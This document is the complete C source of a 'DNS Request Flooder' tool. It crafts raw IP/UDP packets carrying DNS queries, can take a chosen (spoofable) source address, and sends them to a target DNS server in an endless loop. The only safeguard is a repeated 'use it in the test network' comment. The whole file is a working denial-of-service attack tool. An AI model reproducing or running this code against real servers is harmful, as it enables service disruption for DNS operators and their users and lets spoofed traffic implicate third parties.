/* Please set tab-stop to 4 before you edit/view the code */

/*
* DNS Request Flooder, v0.1
*
* All rights left, mirnshi
*
* To compile: gcc -o drf drf.c -Wall
*
* NOTE: use it in the test network!!!!
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <netdb.h>     /* gethostbyname */
#include <unistd.h>     /* usleep */
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>

struct iphdr {
  u_int   ihl:4,     /* ip header length, should be 20 bytes */
        ver:4;     /* version */
  u_char tos;     /* type of service */
  u_short len;     /* ip packet length */
  u_short id;         /* identification */
  u_short frag;     /* fragment offset field */
  u_char ttl;     /* time to live */
  u_char proto;     /* protocol */
  u_short sum;     /* checksum */
  u_int   sip;
  u_int   dip;     /* source and dest address */
};

struct udphdr {
  u_short   sport;     /* source port */
  u_short   dport;     /* destination port */
  u_short   len;     /* udp length */
  u_short   sum;     /* udp checksum */
};

u_char dns1[] = {
  0x4c, 0x42, /* ID */
  0x01, 0x00, /* QR|OC|AA|TC|RD - RA|Z|RCODE */
  0x00, 0x01, /* QDCOUNT */
  0x00, 0x00, /* ANCOUNT */
  0x00, 0x00, /* NSCOUNT */
  0x00, 0x00, /* ARCOUNT */
};
u_char dns2[] = {
  0x00,0x01,   /* QTYPE A record */
  0x00,0x01   /* QCLASS: IN */
  /* If you want to lookup root servers instead, use this: */
  /*   0x00,     QNAME: empty */
  /*   0x00, 0x02, QTYPE: a authorative name server */
  /*   0x00, 0x01   QCLASS: IN */
};

char dns[512];
int dns_len;

int s;

/* generate dns data packet */
void
gen_dns_data(char *name)
{
  char b[512];
  int n = 0;
  char *p, *q = b;
  const char *sep = ".";
  char *brkt;
 
  memcpy(dns, dns1, sizeof(dns1));

  for ((p = strtok_r(name, sep, &brkt)); p; (p = strtok_r(NULL, sep, &brkt))) {
    *q++ = strlen(p);
    n = sprintf(q, "%s", p);
    q+= n;
    *q = 0;
  }
  n = strlen(b) + 1;
   
  memcpy(dns + sizeof(dns1), b, n);
  memcpy(dns + sizeof(dns1) + n, dns2, sizeof(dns2));
  dns_len = sizeof(dns1) + n + sizeof(dns2);
}    
/* check sum */
unsigned short
ip_sum (char *addr, int len)
{
  register u_short nleft = len;
  register u_short *w;
  register int sum = 0;
 
  w = (u_short *)addr;
  while (nleft > 1) {
    sum += *w++;
    nleft -= 2;
  }

  if (nleft == 1)
    sum += (*(u_char *)w & 0xff);

  sum = (sum >> 16) + (sum & 0xffff);
  sum += (sum >> 16);
 
  return (~sum & 0xffff);
}

unsigned long
getaddr(char *name)
{
  struct hostent *h;
 
  h = gethostbyname(name);
  if (!h) {
    printf("Unknown host %s/n", name);
    exit(-1);
  }
  return *(unsigned long *)h->h_addr;
}


void
send_dns(unsigned long lip, unsigned long rip, unsigned short port)
{
  struct iphdr ih;
  struct udphdr uh;
  struct sockaddr_in sin;
  char buf[512];

  ih.ver = 4;
  ih.ihl = 5;
  ih.tos = 0;        
  ih.len = sizeof(ih) + sizeof(uh) + dns_len;
  ih.id = port;
  ih.frag = 0;
  ih.ttl = 64;
  ih.proto = 17;
 
  ih.sum = 0;
  ih.sip = lip;
  ih.dip = rip;
 
  uh.sport = htons(port);
  uh.dport = 0x3500;
  uh.len = htons(sizeof(uh) + dns_len);
  uh.sum = 0;
 
  memcpy(buf, &ih, sizeof(ih));
  ih.sum = ip_sum(buf, sizeof(ih));
 
  memcpy(buf + 4 * ih.ihl, &uh, sizeof(uh));
  memcpy(buf + 4 * ih.ihl + sizeof(uh), dns, dns_len);
 
  sin.sin_family = AF_INET;
  sin.sin_port = uh.dport;
  sin.sin_addr.s_addr = ih.dip;
 
  sendto(s, buf, 4*ih.ihl + sizeof(uh)+ dns_len, 0, (struct sockaddr *)&sin, sizeof(sin));
}

int
main(int argc, char *argv[])
{
  int urip;
  unsigned long rip, lip;
  struct timeval tp;
  int hdrincl = 1;
  int usec = 1;
  unsigned long long rt = 0;
  int rtf = 0;
 
  if (argc < 4) {
    printf("%s caddr dnsaddr domainname/n", argv[0]);
    printf("NOTE: use it in the test network!!!!/n");  
    return -1;
  }
 
  if( atoi(argv[1]) == 0 )
    urip = 1;
  else  
    lip = getaddr(argv[1]);
   
  rip = getaddr(argv[2]);

  gen_dns_data(argv[3]);
 
  if (argc == 5)
    usec = atoi(argv[4]);
 
  if (argc == 6)
    rtf = atoi(argv[5]);  

  s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
  if (s < 0) {
    printf("socket open error.");
    return -1;
  }
  setsockopt(s, IPPROTO_IP, IP_HDRINCL, &hdrincl, sizeof(hdrincl));

  while (1) {
    gettimeofday(&tp, NULL);
#if 0    
    if (urip == 1)
        lip = tp.tv_usec ^ (tp.tv_usec << 11);
#endif        
    send_dns(lip, rip, tp.tv_usec % 50000 + 1024);
    rt++;
    if (rtf && !(rt % rtf)) {
        printf("/r             /r%lld", rt);
        fflush(stdout);
    }
    usleep(usec);
  }
  return 0;
}